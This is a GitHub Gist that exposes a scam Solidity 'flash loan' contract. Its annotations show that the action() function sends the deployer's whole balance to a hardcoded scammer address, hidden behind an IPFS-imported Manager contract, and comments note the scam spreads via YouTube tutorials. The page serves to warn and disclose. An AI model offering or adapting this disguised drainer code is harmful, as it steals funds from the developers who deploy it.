Last active
April 18, 2023 20:19
-
-
Save Mc01/4a6f8f1913089ccdef83968a733c9ef1 to your computer and use it in GitHub Desktop.
[SCAM] Flash Loan Attack
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.5.0; | |
// Multiplier-Finance Smart Contracts - this is bullshit | |
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol"; | |
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPool.sol"; | |
// PancakeSwap Smart Contracts - this is bullshit | |
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol"; | |
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol"; | |
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakePair.sol"; | |
// Code Manager -> 0x05f18088749F7eDffe9ae56d628dd97e5b4d048f | |
import "ipfs://QmeMRAEb96FW5P67PG4wrSqgpcXaYjrgXe5ERWpmKquhSs"; | |
/* | |
pragma solidity ^0.5.0; | |
contract Manager { | |
function performTasks() public { | |
} | |
function pancakeDepositAddress() public pure returns (address) { | |
// Scammer address | |
return 0x05f18088749F7eDffe9ae56d628dd97e5b4d048f; | |
} | |
} | |
*/ | |
contract GetFlashLoan { | |
string public tokenName; | |
string public tokenSymbol; | |
uint loanAmount; | |
Manager manager; | |
constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public { | |
tokenName = _tokenName; | |
tokenSymbol = _tokenSymbol; | |
loanAmount = _loanAmount; | |
manager = new Manager(); | |
} | |
function action() public payable { | |
// this transfers your funds to scammer - 0x05f18088749F7eDffe9ae56d628dd97e5b4d048f | |
address(uint160(manager.pancakeDepositAddress())).transfer(address(this).balance); | |
// this method is empty | |
manager.performTasks(); | |
} | |
} |
yes, still there is a army of them, but flash loans are legit ... " Just trying to fin out, how to make it, many codes outthere.
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
yes. this is a scam. scammer is making youtube videos that noob devs will copy and try which wipes entire balance to the scammer's address 0x05f18088749F7eDffe9ae56d628dd97e5b4d048f
https://ipfs.io/ipfs/QmeMRAEb96FW5P67PG4wrSqgpcXaYjrgXe5ERWpmKquhSs